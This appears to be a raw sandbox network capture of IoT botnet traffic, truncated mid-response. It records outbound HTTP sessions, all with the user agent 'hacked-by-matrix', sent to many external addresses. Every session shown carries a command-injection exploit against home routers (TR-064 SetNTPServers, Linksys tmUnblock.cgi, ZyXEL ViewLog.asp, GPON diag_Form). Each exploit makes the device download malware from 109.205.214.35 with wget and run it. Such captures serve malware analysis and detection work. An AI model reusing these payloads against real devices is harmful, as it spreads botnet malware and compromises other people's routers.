961	192.168.2.23	33788	97.120.114.191	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:23.163855076 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
962	192.168.2.23	48080	201.213.18.150	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:23.235490084 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
963	192.168.2.23	58060	27.147.114.253	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:23.261472940 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:23.536550999 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
964	192.168.2.23	44130	121.136.181.89	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:23.271102905 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
965	192.168.2.23	33830	97.120.114.191	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:23.343950033 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:24.268665075 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
966	192.168.2.23	58102	27.147.114.253	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:23.536662102 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:23.807337046 CET	88	IN	HTTP/1.1 500 Internal Server Error Connection: Close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
967	192.168.2.23	44172	121.136.181.89	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:23.557742119 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:24.462539911 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
968	192.168.2.23	53832	121.133.255.176	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:23.589488983 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:23.951342106 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
969	192.168.2.23	60764	172.65.74.110	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:23.804238081 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
970	192.168.2.23	60746	172.65.74.110	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:23.819417953 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
971	192.168.2.23	60150	174.112.142.104	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:24.233485937 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
972	192.168.2.23	41804	82.151.65.177	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:24.807991028 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
973	192.168.2.23	42670	200.134.164.50	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:24.826992035 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
974	192.168.2.23	40226	23.208.47.56	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:24.881894112 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:25.187520027 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:25.304119110 CET	534	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 312 Expires: Thu, 21 Mar 2024 04:26:25 GMT Date: Thu, 21 Mar 2024 04:26:25 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 31 63 64 37 33 30 31 37 26 23 34 36 3b 31 37 31 30 39 39 35 31 38 35 26 23 34 36 3b 32 37 33 61 61 66 32 35 0a 3c 50 3e 68 74 74 70 73 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 65 72 72 6f 72 73 26 23 34 36 3b 65 64 67 65 73 75 69 74 65 26 23 34 36 3b 6e 65 74 26 23 34 37 3b 39 26 23 34 36 3b 31 63 64 37 33 30 31 37 26 23 34 36 3b 31 37 31 30 39 39 35 31 38 35 26 23 34 36 3b 32 37 33 61 61 66 32 35 3c 2f 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.1cd73017.1710995185.273aaf25<P>https://errors.edgesuite.net/9.1cd73017.1710995185.273aaf25</P></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
975	192.168.2.23	45034	38.152.251.253	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:24.888401031 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:25.012304068 CET	1286	IN	HTTP/1.0 400 Bad Request Server: squid/3.1.23 Mime-Version: 1.0 Date: Wed, 20 Mar 2024 22:43:39 GMT Content-Type: text/html Content-Length: 3183 X-Squid-Error: ERR_INVALID_URL 0 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 20 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 20 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 20 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23 74 69 74 6c 65 73 20 66 74 70 73 75 63 63 65 73 73 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 66 66 30 30 3b 0a 09 77 69 64 74 68 3a 31 30 30 25 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 62 6f 64 79 20 63 6f 6e 74 65 6e 74 20 61 72 65 61 20 2a 2f 0a 23 63 6f 6e 74 65 6e 74 20 7b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 